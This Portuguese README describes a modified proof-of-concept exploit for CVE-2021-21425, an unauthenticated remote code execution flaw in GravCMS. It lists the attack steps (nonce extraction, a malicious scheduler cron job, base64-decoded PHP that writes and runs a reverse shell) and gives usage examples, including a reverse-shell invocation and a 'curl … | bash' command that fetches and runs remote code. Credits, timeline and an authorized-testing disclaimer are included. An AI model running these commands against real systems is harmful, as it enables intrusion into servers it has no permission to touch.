CVE-2021-21425 - GravCMS RCE Não Autenticado

Proof-of-concept aprimorado para CVE-2021-21425, uma vulnerabilidade de Remote Code Execution não autenticada no GravCMS <= 1.10.7 através de escrita arbitrária de YAML no scheduler.

Créditos

Este é um trabalho derivado. A vulnerabilidade e o exploit original não são meus.

Função	Quem
Vulnerabilidade descoberta por	Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — Março de 2021
PoC original por	"legend" — Exploit-DB EDB-49973
Modificações neste repositório por	d4ytox

O que esta versão altera

O EDB-49973 original exige a edição manual de valores hardcoded no script. Esta versão adiciona:

• Argumentos de linha de comando para target, LHOST, LPORT
• Codificação base64 automática do payload de reverse shell
• Suporte a comando personalizado (-c)
• Tratamento de erros e saída de status

Estas são mudanças de usabilidade em um exploit existente. Nenhuma pesquisa de vulnerabilidade é reivindicada.

Vulnerabilidade

Campo	Valor
CVE	CVE-2021-21425
EDB-ID	49973
Afetado	GravCMS <= 1.10.7
Tipo	RCE Não Autenticado
CVSS	9.8 (Crítico)

O plugin Grav Admin falha em verificar a autenticação em certas rotas administrativas, permitindo que usuários não autenticados escrevam configuração YAML arbitrária. Este exploit abusa da configuração do scheduler para criar um cron job que executa código PHP arbitrário.

Uso

# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# Comando personalizado
python3 exploit.py -t http://target -c "id"

Exemplos

# Obter reverse shell no alvo
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# Executar comando
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

Requisitos

pip install requests

Como Funciona

1. Busca /admin para extrair o token admin-nonce (sem autenticação necessária devido à vulnerabilidade)
2. Envia POST para /admin/config/scheduler com configuração de cron job maliciosa
3. O scheduler executa o payload PHP via /usr/bin/php -r eval(base64_decode(...))
4. O PHP grava o reverse shell decodificado em base64 em /tmp/rev.sh e o executa

O cron job é executado a cada minuto (* * * * *), então o shell chega em até 60 segundos.

Linha do Tempo

• 2021-03-18 - Vulnerabilidade encontrada por Mehmet Ince durante um teste de penetração
• 2021-03-29 - Divulgada
• 2021-04-01 - Corrigida no Grav Admin Plugin 1.10.8

Referências

• Entrada no NVD
• Aviso de Segurança do GitHub GHSA-6f53-6qgv-39pj
• Writeup original por Mehmet Ince (Pentest Blog)
• PoC original - Exploit-DB EDB-49973

Licença

MIT, aplicando-se apenas às modificações neste repositório. O PoC upstream não possui licença, portanto permanece todos os direitos reservados por seu autor. Consulte LICENSE para o aviso completo de atribuição.

Aviso Legal

Apenas para testes de segurança autorizados. Certifique-se de ter permissão por escrito antes de testar contra qualquer sistema.